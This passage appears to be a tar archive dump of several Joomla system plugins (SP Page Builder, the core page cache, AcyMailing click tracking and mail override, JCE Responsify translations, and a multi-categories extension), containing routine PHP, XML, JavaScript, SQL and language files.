        $body = str_replace('<fieldset class="adminform">', '<div class="sp-pagebuilder-btn-group sp-pagebuilder-btns-alt"><a href="#" class="sp-pagebuilder-btn sp-pagebuilder-btn-default sp-pagebuilder-btn-switcher btn-action-editor" data-action="editor">Joomla Editor</a><a data-action="sppagebuilder" href="#" class="sp-pagebuilder-btn sp-pagebuilder-btn-default sp-pagebuilder-btn-switcher btn-action-sppagebuilder">SP Page Builder</a></div><div class="sp-pagebuilder-admin pagebuilder-'. str_replace('_', '-', $option) .'" style="display: none;"><div id="sp-pagebuilder-page-tools" class="clearfix sp-pagebuilder-page-tools"></div><div class="sp-pagebuilder-sidebar-and-builder"><div id="sp-pagebuilder-section-lib" class="clearfix sp-pagebuilder-section-lib"></div><div id="container"></div></div></div><fieldset class="adminform">', $body);
      }

      // Page Builder fields
      $body = str_replace('</form>', '<input type="hidden" id="jform_attribs_sppagebuilder_content" name="jform[attribs][sppagebuilder_content]"></form>'. "\n", $body);
      $body = str_replace('</form>', '<input type="hidden" id="jform_attribs_sppagebuilder_active" name="jform[attribs][sppagebuilder_active]" value="'. $this->pagebuilder_active .'"></form>'. "\n", $body);

      //Add script
      $body = str_replace('</body>', '<script type="text/javascript" src="' . JURI::base(true) . '/components/com_sppagebuilder/assets/js/engine.js"></script>' ."\n</body>", $body);
      JResponse::setBody($body);

    }
  }

  private function loadPageBuilderLanguage() {
    $lang = JFactory::getLanguage();
    $lang->load('com_sppagebuilder', JPATH_ADMINISTRATOR, $lang->getName(), true);
    $lang->load('tpl_' . $this->getTemplate(), JPATH_SITE, $lang->getName(), true);
    require_once JPATH_ROOT .'/administrator/components/com_sppagebuilder/helpers/language.php';
  }

  private function getPageContent($extension = 'com_content', $extension_view = 'article', $view_id = 0) {
    $db = JFactory::getDbo();
    $query = $db->getQuery(true);
    $query->select($db->quoteName(array('text', 'active')));
    $query->from($db->quoteName('#__sppagebuilder'));
    $query->where($db->quoteName('extension') . ' = '. $db->quote($extension));
    $query->where($db->quoteName('extension_view') . ' = '. $db->quote($extension_view));
    $query->where($db->quoteName('view_id') . ' = '. $view_id);
    $db->setQuery($query);
    $result = $db->loadObject();

    if($result) {
      return $result;
    }

    return false;
  }

  private function getIntegrations() {
    $app = JFactory::getApplication();
    $option = $app->input->get('option', '', "STRING");
    $integrations_list = SppagebuilderHelperIntegrations::integrations();

    if(!in_array($option, $integrations_list)) {
      return false;
    }

    $db = JFactory::getDbo();
    $query = $db->getQuery(true);
    $user = JFactory::getUser();
    $query->select('a.id, a.component, a.plugin, a.state');
    $query->from('#__sppagebuilder_integrations as a');
    $query->where($db->quoteName('state') . ' = 1');
    $db->setQuery($query);
    $results = $db->loadObjectList();

    $contexts = array();

    foreach ($results as $key => $result) {
      $plugin = json_decode($result->plugin);
      $path = JPATH_PLUGINS . '/' . $plugin->group . '/' . $plugin->name . '/' . $plugin->name . '.php';

      if(file_exists($path)) {
        if(JPluginHelper::isEnabled($plugin->group, $plugin->name)) {
          require_once($path);
          $className = 'Plg' . ucfirst($plugin->group) . ucfirst($plugin->name);
          if(method_exists($className, '__context')) {
            $context = $className::__context();
            $contexts[$context['option'] . '.' . $context['view']] = $className::__context();
          }
        }
      }
    }

    if(count($contexts)) return $contexts;

    return false;
  }

  private function getTemplate() {
    $db = JFactory::getDbo();
    $query = $db->getQuery(true);
    $query->select($db->quoteName(array('template')));
    $query->from($db->quoteName('#__template_styles'));
    $query->where($db->quoteName('client_id') . ' = '. $db->quote(0));
    $query->where($db->quoteName('home') . ' = '. $db->quote(1));
    $db->setQuery($query);
    return $db->loadResult();
  }

  public function onExtensionAfterSave($option, $data) {
    if ( ($option == 'com_config.component') && ( $data->element == 'com_sppagebuilder' ) ) {
      jimport('joomla.filesystem.folder');
      $admin_cache = JPATH_ROOT . '/administrator/cache/sppagebuilder';
      if(JFolder::exists($admin_cache)) {
        JFolder::delete($admin_cache);
      }

      $site_cache = JPATH_ROOT . '/cache/sppagebuilder';
      if(JFolder::exists($site_cache)) {
        JFolder::delete($site_cache);
      }
    }
  }
}
                                                                                                                                   system/sppagebuilder/sppagebuilder.xml                                                              0000705                 00000001415 15242051521 0014262 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.6" type="plugin" group="system" method="upgrade">
    <name>System - SP PageBuilder</name>
    <author>JoomShaper.com</author>
    <creationDate>Sep 2016</creationDate>
    <copyright>Copyright (C) 2010 - 2016 JoomShaper. All rights reserved.</copyright>
    <license>http://www.gnu.org/licenses/gpl-2.0.html GPLv2 or later</license>
    <authorEmail>support@joomshaper.com</authorEmail>
    <authorUrl>www.joomshaper.com</authorUrl>
    <version>1.3</version>
    <description>SP Page Builder System plugin to add support for 3rd party components</description>

    <files>
		<filename plugin="sppagebuilder">sppagebuilder.php</filename>
        <folder plugin="sppagebuilder">assets</folder>
    </files>
</extension>
                                                                                                                                                                                                                                                   system/sppagebuilder/assets/js/init.js                                                              0000705                 00000003443 15242051521 0014134 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       jQuery(document).ready(function($) {

	if(spPagebuilderEnabled) {
		$(spIntergationElement).hide();
		$('.sp-pagebuilder-admin').show();
		$('.btn-action-sppagebuilder').addClass('sp-pagebuilder-btn-success active');
	} else {
		$('.sp-pagebuilder-admin').hide();
		$(spIntergationElement).show();
		$('.btn-action-editor').addClass('sp-pagebuilder-btn-success active');
	}

	$('.sp-pagebuilder-btn-switcher').on('click',function(event){
		event.preventDefault();

		$('.sp-pagebuilder-btn-switcher').removeClass('active sp-pagebuilder-btn-success');
		$(this).addClass('active').addClass('sp-pagebuilder-btn-success');

		var action = $(this).data('action');

		if (action === 'editor') {
			$('.sp-pagebuilder-admin').hide();
			$(spIntergationElement).show();
			$('#jform_attribs_sppagebuilder_active').val('0');

			if (typeof WFEditor !== 'undefined') {
	      $('.wf-editor-header').empty();
				$('.mceEditor').each(function(){
					var editorTempID = $(this).attr('id');
					var currentEditorID = editorTempID.substring( 0, editorTempID.length - 7 );
					var editorContentTemp = WFEditor.getContent(currentEditorID);
					$('#'+currentEditorID).val(editorContentTemp);
					$(this).remove();
				});

	      WFEditor.create();
				$('.mceEditor').show();
	    }

		} else {

			if (typeof WFEditor !== 'undefined') {
	      $('.wf-editor-header').empty();
				$('.mceEditor').each(function(){
					var editorTempID = $(this).attr('id');
					var currentEditorID = editorTempID.substring( 0, editorTempID.length - 7 );
					var editorContentTemp = WFEditor.getContent(currentEditorID);
					$('#'+currentEditorID).val(editorContentTemp);
					$(this).remove();
				});
	    }

			$(spIntergationElement).hide();
			$('.sp-pagebuilder-admin').show();
			$('#jform_attribs_sppagebuilder_active').val('1');
		}
	});
});
                                                                                                                                                                                                                             system/cache/index.html                                                                             0000705                 00000000037 15242051521 0011123 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 system/cache/cache.xml                                                                              0000705                 00000003215 15242051521 0010714 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="system" method="upgrade">
	<name>plg_system_cache</name>
	<author>Joomla! Project</author>
	<creationDate>February 2007</creationDate>
	<copyright>(C) 2007 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_CACHE_XML_DESCRIPTION</description>
	<files>
		<filename plugin="cache">cache.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_system_cache.ini</language>
		<language tag="en-GB">en-GB.plg_system_cache.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="browsercache"
					type="radio"
					label="PLG_CACHE_FIELD_BROWSERCACHE_LABEL"
					description="PLG_CACHE_FIELD_BROWSERCACHE_DESC"
					class="btn-group btn-group-yesno"
					default="0"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="exclude_menu_items"
					type="menuitem"
					label="PLG_CACHE_FIELD_EXCLUDE_MENU_ITEMS_LABEL"
					description="PLG_CACHE_FIELD_EXCLUDE_MENU_ITEMS_DESC"
					multiple="multiple"
					filter="int_array"
				/>

			</fieldset>
			<fieldset name="advanced">
				<field
					name="exclude"
					type="textarea"
					label="PLG_CACHE_FIELD_EXCLUDE_LABEL"
					description="PLG_CACHE_FIELD_EXCLUDE_DESC"
					class="input-xxlarge"
					rows="15"
					filter="raw"
				/>

			</fieldset>
		</fields>
	</config>
</extension>
                                                                                                                                                                                                                                                                                                                                                                                   system/cache/cache.php                                                                              0000705                 00000013143 15242051521 0010704 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.cache
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Joomla! Page Cache Plugin.
 *
 * @since  1.5
 */
class PlgSystemCache extends JPlugin
{
	/**
	 * Cache instance.
	 *
	 * @var    JCache
	 * @since  1.5
	 */
	public $_cache;

	/**
	 * Cache key
	 *
	 * @var    string
	 * @since  3.0
	 */
	public $_cache_key;

	/**
	 * Application object.
	 *
	 * @var    JApplicationCms
	 * @since  3.8.0
	 */
	protected $app;

	/**
	 * Constructor.
	 *
	 * @param   object  &$subject  The object to observe.
	 * @param   array   $config    An optional associative array of configuration settings.
	 *
	 * @since   1.5
	 */
	public function __construct(& $subject, $config)
	{
		parent::__construct($subject, $config);

		// Get the application if not done by JPlugin.
		if (!isset($this->app))
		{
			$this->app = JFactory::getApplication();
		}

		// Set the cache options.
		$options = array(
			'defaultgroup' => 'page',
			'browsercache' => $this->params->get('browsercache', 0),
			'caching'      => false,
		);

		// Instantiate cache with previous options and create the cache key identifier.
		$this->_cache     = JCache::getInstance('page', $options);
		$this->_cache_key = JUri::getInstance()->toString();
	}

	/**
	 * Get a cache key for the current page based on the url and possible other factors.
	 *
	 * @return  string
	 *
	 * @since   3.7
	 */
	protected function getCacheKey()
	{
		static $key;

		if (!$key)
		{
			JPluginHelper::importPlugin('pagecache');

			$parts = JEventDispatcher::getInstance()->trigger('onPageCacheGetKey');
			$parts[] = JUri::getInstance()->toString();

			$key = md5(serialize($parts));
		}

		return $key;
	}

	/**
	 * After Initialise Event.
	 * Checks if URL exists in cache, if so dumps it directly and closes.
	 *
	 * @return  void
	 *
	 * @since   1.5
	 */
	public function onAfterInitialise()
	{
		if ($this->app->isClient('administrator') || $this->app->get('offline', '0') || $this->app->getMessageQueue())
		{
			return;
		}

		// If any pagecache plugins return false for onPageCacheSetCaching, do not use the cache.
		JPluginHelper::importPlugin('pagecache');

		$results = JEventDispatcher::getInstance()->trigger('onPageCacheSetCaching');
		$caching = !in_array(false, $results, true);

		if ($caching && JFactory::getUser()->guest && $this->app->input->getMethod() === 'GET')
		{
			$this->_cache->setCaching(true);
		}

		$data = $this->_cache->get($this->getCacheKey());

		// If page exist in cache, show cached page.
		if ($data !== false)
		{
			// Set HTML page from cache.
			$this->app->setBody($data);

			// Dumps HTML page.
			echo $this->app->toString((bool) $this->app->get('gzip'));

			// Mark afterCache in debug and run debug onAfterRespond events.
			// e.g., show Joomla Debug Console if debug is active.
			if (JDEBUG)
			{
				JProfiler::getInstance('Application')->mark('afterCache');
				JEventDispatcher::getInstance()->trigger('onAfterRespond');
			}

			// Closes the application.
			$this->app->close();
		}
	}

	/**
	 * After Render Event.
	 * Verify if current page is not excluded from cache.
	 *
	 * @return   void
	 *
	 * @since   3.9.12
	 */
	public function onAfterRender()
	{
		if ($this->_cache->getCaching() === false)
		{
			return;
		}

		// We need to check if user is guest again here, because auto-login plugins have not been fired before the first aid check.
		// Page is excluded if excluded in plugin settings.
		if (!JFactory::getUser()->guest || $this->app->getMessageQueue() || $this->isExcluded() === true)
		{
			$this->_cache->setCaching(false);

			return;
		}

		// Disable compression before caching the page.
		$this->app->set('gzip', false);
	}

	/**
	 * After Respond Event.
	 * Stores page in cache.
	 *
	 * @return   void
	 *
	 * @since   1.5
	 */
	public function onAfterRespond()
	{
		if ($this->_cache->getCaching() === false)
		{
			return;
		}

		// Saves current page in cache.
		$this->_cache->store($this->app->getBody(), $this->getCacheKey());
	}

	/**
	 * Check if the page is excluded from the cache or not.
	 *
	 * @return   boolean  True if the page is excluded else false
	 *
	 * @since    3.5
	 */
	protected function isExcluded()
	{
		// Check if menu items have been excluded.
		if ($exclusions = $this->params->get('exclude_menu_items', array()))
		{
			// Get the current menu item.
			$active = $this->app->getMenu()->getActive();

			if ($active && $active->id && in_array((int) $active->id, (array) $exclusions))
			{
				return true;
			}
		}

		// Check if regular expressions are being used.
		if ($exclusions = $this->params->get('exclude', ''))
		{
			// Normalize line endings.
			$exclusions = str_replace(array("\r\n", "\r"), "\n", $exclusions);

			// Split them.
			$exclusions = explode("\n", $exclusions);

			// Gets internal URI.
			$internal_uri	= '/index.php?' . JUri::getInstance()->buildQuery($this->app->getRouter()->getVars());

			// Loop through each pattern.
			if ($exclusions)
			{
				foreach ($exclusions as $exclusion)
				{
					// Make sure the exclusion has some content
					if ($exclusion !== '')
					{
						// Test both external and internal URI
						if (preg_match('#' . $exclusion . '#i', $this->_cache_key . ' ' . $internal_uri, $match))
						{
							return true;
						}
					}
				}
			}
		}

		// If any pagecache plugins return true for onPageCacheIsExcluded, exclude.
		JPluginHelper::importPlugin('pagecache');

		$results = JEventDispatcher::getInstance()->trigger('onPageCacheIsExcluded');

		return in_array(true, $results, true);
	}
}
                                                                                                                                                                                                                                                                                                                                                                                                                             system/acymailingurltracker/acymailingurltracker.xml                                                0000705                 00000002360 15242051521 0017236 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>

<extension type="plugin" version="2.5" method="upgrade" group="system">
	<name>AcyMailing : Handle Click tracking</name>
	<creationDate>juillet 2017</creationDate>
	<version>5.8.0</version>
	<author>Acyba</author>
	<authorEmail>dev@acyba.com</authorEmail>
	<authorUrl>http://www.acyba.com</authorUrl>
	<copyright>Copyright (C) 2009-2017 ACYBA SAS - All rights reserved..</copyright>
	<license>GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html</license>
	<description>This plugin handles the click tracking system on AcyMailing. You should make sure the other urltracker plugin is also enabled</description>
	<files>
		<filename plugin="acymailingurltracker">acymailingurltracker.php</filename>
	</files>
	<params addpath="/components/com_acymailing/params">
		<param name="help" type="help" label="Help" description="Click on the help button to get some help" default="plugin-urltracker"/>
	</params>
	<config>
		<fields name="params" addfieldpath="/components/com_acymailing/params">
			<fieldset name="basic">
				<field name="help" type="help" label="Help" description="Click on the help button to get some help" default="plugin-urltracker"/>
			</fieldset>
		</fields>
	</config>
</extension>
                                                                                                                                                                                                                                                                                system/acymailingurltracker/acymailingurltracker.php                                                0000705                 00000003700 15242051521 0017224 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.8.0
 * @author	acyba.com
 * @copyright	(C) 2009-2017 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php

class plgSystemAcymailingurltracker extends JPlugin
{

	function __construct(&$subject, $config){
		parent::__construct($subject, $config);
	}

	function onAfterInitialise(){
		if(!JRequest::getCmd('acm')) return;

		$acm = JRequest::getCmd('acm');
		if(!preg_match('#^[0-9]+_[0-9]+$#',$acm)) return;

		$helperFile = rtrim(JPATH_ADMINISTRATOR,DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.'components'.DIRECTORY_SEPARATOR.'com_acymailing'.DIRECTORY_SEPARATOR.'helpers'.DIRECTORY_SEPARATOR.'helper.php';
		if(!file_exists($helperFile) || !include_once($helperFile)) return;

		$vals = explode('_',$acm);

		$urlClass = acymailing_get('class.url');
		$urlObject = $urlClass->getAddCurrentUrl();

		if(empty($urlObject->urlid)) return;

		$urlClickClass = acymailing_get('class.urlclick');
		$urlClickClass->addClick($urlObject->urlid,$vals[1],$vals[0]);

		if($urlObject->url == $urlObject->name){
			$this->urlid = $urlObject->urlid;
		}

		unset($_GET['acm']);
		unset($_REQUEST['acm']);

		$currentURL = $urlClass->getCurrentUrl();
		if(!empty($currentURL) && strpos($currentURL,'#') === false){
			$oldUrl = $currentURL;
			$currentURL = preg_replace('#(\?|&|\/)(acm)[=:-][^&\/]*#i','',$currentURL);
			if($oldUrl != $currentURL){
				if(!strpos($currentURL,'?') && strpos($currentURL,'&')){
					$firstpos = strpos($currentURL,'&');
					$currentURL = substr($currentURL,0,$firstpos).'?'.substr($currentURL,$firstpos+1);
				}
				acymailing_redirect($currentURL);
			}

		}
	}

	function onAfterRender(){
		if(empty($this->urlid)) return;

		$urlClass = acymailing_get('class.url');
		$urlClass->saveCurrentUrlName($this->urlid);
	}

}//endclass
                                                                system/acymailingurltracker/index.html                                                              0000705                 00000000054 15242051521 0014273 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    system/acymailingclassmail/acymailingclassmail.php                                                  0000705                 00000005330 15242051521 0016611 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.8.0
 * @author	acyba.com
 * @copyright	(C) 2009-2017 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
if(class_exists('plgSystemAcymailingClassMail', false)) return;
class plgSystemAcymailingClassMail extends JPlugin {
	public function __construct(&$subject, $config = array()) {
		$file = rtrim(JPATH_SITE,DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.'components'.DIRECTORY_SEPARATOR.'com_acymailing'.DIRECTORY_SEPARATOR.'inc'.DIRECTORY_SEPARATOR.'joomlanotification'.DIRECTORY_SEPARATOR.'mail.php';
		try{
			if(file_exists($file)) require_once($file);
		}catch(Exception $e) {
 			echo "Could not load Acymailing JMail class at $file,<br />please disable the acymailingclassmail plugin (Override Joomla mailing system plugin)";
 		}
		parent::__construct($subject, $config);
	}

	public function onBeforeMailPrepare(&$mail, &$mailer, &$do){
		if(empty($mail->mail_name)) return false;
		require_once(rtrim(JPATH_ADMINISTRATOR,DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.'components'.DIRECTORY_SEPARATOR.'com_acymailing'.DIRECTORY_SEPARATOR.'helpers'.DIRECTORY_SEPARATOR.'helper.php');
		$alias_email = 'hikashop-'.str_replace('_', '-', $mail->mail_name);
		$mailClass = acymailing_get('class.mail');
		$overrideEmail = $mailClass->get($alias_email);
		if(empty($overrideEmail) || $overrideEmail->published == 0) return false;

		$acymailer = acymailing_get('helper.acymailer');
		$acymailer->checkConfirmField = false;
		$acymailer->checkEnabled = false;
		$acymailer->checkAccept = false;
		$acymailer->autoAddUser = true;
		$acymailer->report = false;
		$acymailer->trackEmail = true;

		foreach($mail->data as $dataName => $dataValue){
			if(is_string($dataValue)){
				$acymailer->addParam($dataName, $dataValue);
			} else{
				foreach($dataValue as $dataSName => $dataSValue){
					if(is_string($dataSValue)){
						$acymailer->addParam($dataName.'_'.$dataSName, $dataSValue);
					}else{
						foreach($dataSValue as $dataSSName => $dataSSValue){
							if(is_string($dataSSValue)) $acymailer->addParam($dataName.'_'.$dataSName.'_'.$dataSSName, $dataSSValue);
						}
					}
				}
			}
		}

		if(!empty($mail->data->email)){
			$receiver = $mail->data->email;
		}elseif(!empty($mail->data->customer->email)){
			$receiver = $mail->data->customer->email;
		}else{
			return false;
		}

		$statusSend = $acymailer->sendOne($overrideEmail->mailid, $mail->data->email);
		if(!$statusSend) acymailing_enqueueMessage(nl2br($acymailer->reportMessage), 'error');
		$mail->mail_success = $statusSend;

		$do = false;
		return $statusSend;
	}
}
                                                                                                                                                                                                                                                                                                        system/acymailingclassmail/acymailingclassmail.xml                                                  0000705                 00000003375 15242051521 0016631 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>

<extension type="plugin" version="2.5" method="upgrade" group="system">
	<name>AcyMailing: override Joomla mailing system</name>
	<creationDate>juillet 2017</creationDate>
	<version>5.8.0</version>
	<author>Acyba</author>
	<authorEmail>dev@acyba.com</authorEmail>
	<authorUrl>http://www.acyba.com</authorUrl>
	<copyright>Copyright (C) 2009-2017 ACYBA SAS - All rights reserved.</copyright>
	<license>GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html</license>
	<description>This plugin enables you to override the Joomla mailing system to customize their mail.</description>
	<files>
		<filename plugin="acymailingclassmail">acymailingclassmail.php</filename>filename>
	</files>
	<params addpath="/components/com_acymailing/params">
		<param name="help" type="help" label="Help" description="Click on the help button to get some help" default="joomlanotification"/>
		<param name="createacyuser" type="radio" default="1" label="Create AcyMailing user" description="Choose to create an AcyMailing user when sending the notification if it doesn't exists">
			<option value="0">No</option>
			<option value="1">Yes</option>
		</param>
	</params>
	<config>
		<fields name="params" addfieldpath="/components/com_acymailing/params">
			<fieldset name="basic">
				<field name="help" type="help" label="Help" description="Click on the help button to get some help" default="joomlanotification"/>
				<field name="createacyuser" type="radio" default="1" label="Create AcyMailing user" description="Choose to create an AcyMailing user when sending the notification if it doesn't exists">
					<option value="0">No</option>
					<option value="1">Yes</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
                                                                                                                                                                                                                                                                   system/acymailingclassmail/index.html                                                               0000705                 00000000054 15242051521 0014065 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    system/wf_responsify/language/fr-FR/plg_system_wf_responsify.sys.ini                                0000644                 00000001574 15242051521 0022151 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ; JCE Project
; Copyright (C) 2006 - 2025 Ryan Demmer. All rights reserved - https://www.joomlacontenteditor.net
; GNU/GPL Version 2 or later - https://www.gnu.org/licenses/gpl-2.0.html
; Coordination traduction FR : Mihàly Marti alias Sarki - www.sarki.ch
; Note : All ini files need to be saved as UTF-8

PLG_WF_RESPONSIFY_XML_DESCRIPTION="Ce plugin attribue un effet responsive aux éléments objet, embed, vidéo, audio et iframe."
PLG_SYSTEM_WF_RESPONSIFY="Responsify pour JCE"
PLG_SYSTEM_WF_RESPONSIFY_FULL_WIDTH_DISPLAY="Affichage pleine largeur"
PLG_SYSTEM_WF_RESPONSIFY_FULL_WIDTH_DISPLAY_DESC="Agrandir les vidéos pour les adapter à la largeur de la page ou du conteneur parent"
PLG_SYSTEM_WF_RESPONSIFY_ELEMENTS="Éléments"
PLG_SYSTEM_WF_RESPONSIFY_ELEMENTS_DESC="Une liste d'éléments à rendre responsive."

PLG_SYSTEM_WF_RESPONSIFY_CLICK_TO_PLAY_TEXT="Cliquer pour activer"                                                                                                                                    system/wf_responsify/language/fr-FR/plg_system_wf_responsify.ini                                    0000644                 00000002646 15242051521 0021335 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ; JCE Project
; Copyright (C) 2006 - 2025 Ryan Demmer. All rights reserved - https://www.joomlacontenteditor.net
; GNU/GPL Version 2 or later - https://www.gnu.org/licenses/gpl-2.0.html
; Coordination traduction FR : Mihàly Marti alias Sarki - www.sarki.ch
; Note : All ini files need to be saved as UTF-8

PLG_WF_RESPONSIFY_XML_DESCRIPTION="Ce plugin attribue un effet responsive aux éléments objet, embed, vidéo, audio et iframe."
PLG_SYSTEM_WF_RESPONSIFY="Responsify pour JCE"
PLG_SYSTEM_WF_RESPONSIFY_FULL_WIDTH_DISPLAY="Affichage pleine largeur"
PLG_SYSTEM_WF_RESPONSIFY_FULL_WIDTH_DISPLAY_DESC="Agrandir les vidéos pour les adapter à la largeur de la page ou du conteneur parent."
PLG_SYSTEM_WF_RESPONSIFY_ELEMENTS="Éléments"
PLG_SYSTEM_WF_RESPONSIFY_ELEMENTS_DESC="Une liste d'éléments à rendre responsive."
PLG_SYSTEM_WF_RESPONSIFY_MENU_ASSIGN="Affecter au menu"
PLG_SYSTEM_WF_RESPONSIFY_MENU_ASSIGN_DESC="Attribuer le chargement des Widgets responsive à ces éléments de menu."
PLG_SYSTEM_WF_RESPONSIFY_MENU_EXCLUDE="Exclure du menu"
PLG_SYSTEM_WF_RESPONSIFY_MENU_EXCLUDE_DESC="Exclure le chargement des Widgets responsive à ces éléments de menu"

PLG_SYSTEM_WF_RESPONSIFY_CLICK_TO_PLAY="Cliquer pour lire"
PLG_SYSTEM_WF_RESPONSIFY_CLICK_TO_PLAY_DESC="Activer la fonction "Cliquer pour lire" aux médias basés sur des iframes, tels Youtube, Vimeo, etc."
PLG_SYSTEM_WF_RESPONSIFY_CLICK_TO_PLAY_TEXT="Cliquer pour activer"                                                                                          system/contentmulticategories/language/ru-RU/index.html                                             0000705                 00000000054 15242051521 0017407 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    system/contentmulticategories/language/ru-RU/ru-RU.plg_system_contentmulticategories.ini            0000705                 00000001462 15242051521 0026131 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PLG_CMC_VARIANT = "Rатегория материала"
PLG_CMC_VARIANT_DESC = "Использовать текущую или главную категорию в ссылке материала"
PLG_CMC_VARIANT_DEFAULT_CAT = "Главная"
PLG_CMC_VARIANT_CURRENT_CAT = "Текущая"
PLG_CMC_VARIANT_MULTICATS = "Дополнительные категории"
PLG_CMC_LANG_FILTER="Фильтровать по языку"
PLG_CMC_LANG_FILTER_DESC="Фильтровать категории по текущему языку контента."
PLG_CMC_ACL_FILTER="Фильтровать по ACL"
PLG_CMC_ACL_FILTER_DESC="Фильтровать по правам пользователя на категорию. Добавьте пользователю право core.create на категорию."                                                                                                                                                                                                              system/contentmulticategories/language/index.html                                                   0000705                 00000000054 15242051521 0016435 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    system/contentmulticategories/language/en-GB/en-GB.plg_system_contentmulticategories.ini            0000705                 00000000744 15242051521 0025767 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PLG_CMC_VARIANT = "Content Category"
PLG_CMC_VARIANT_DESC = "Use current or main category in the content link"
PLG_CMC_VARIANT_DEFAULT_CAT = "Main"
PLG_CMC_VARIANT_CURRENT_CAT = "Current"
PLG_CMC_VARIANT_MULTICATS = "Additional categories"
PLG_CMC_LANG_FILTER="Filter by language"
PLG_CMC_LANG_FILTER_DESC="Filter by current language."
PLG_CMC_ACL_FILTER="Filter by ACL"
PLG_CMC_ACL_FILTER_DESC="Check user rights by category. Add the user right core.create for the category."                            system/contentmulticategories/language/en-GB/index.html                                             0000705                 00000000054 15242051521 0017325 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    system/contentmulticategories/index.html                                                            0000705                 00000000035 15242051521 0014651 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html>
<body>
</body>
</html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   system/contentmulticategories/sql/install.sql                                                       0000705                 00000000567 15242051521 0015654 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       DROP TABLE IF EXISTS `#__contentmulticategories_categories`;
CREATE TABLE IF NOT EXISTS `#__contentmulticategories_categories` (
  `id` int(11) NOT NULL auto_increment,
  `category_id` int(11) NOT NULL,
  `article_id` int(11) NOT NULL,
  PRIMARY KEY  (`id`),
  KEY `category_id` (`category_id`),
  KEY `article_id` (`article_id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;                                                                                                                                         system/contentmulticategories/sql/updates/index.html                                                0000705                 00000000056 15242051521 0017120 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  system/contentmulticategories/sql/updates/mysql/index.html                                          0000705                 00000000056 15242051521 0020265 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  system/contentmulticategories/sql/updates/mysql/1.0.sql                                             0000705                 00000000000 15242051521 0017274 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       system/contentmulticategories/sql/index.html                                                        0000705                 00000000054 15242051521 0015451 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    system/contentmulticategories/sql/uninstall.sql                                                     0000705                 00000000074 15242051521 0016210 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       DROP TABLE IF EXISTS `#__contentmulticategories_categories`;                                                                                                                                                                                                                                                                                                                                                                                                                                                                    system/contentmulticategories/classes/category.php                                                  0000705                 00000030756 15242051521 0016654 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
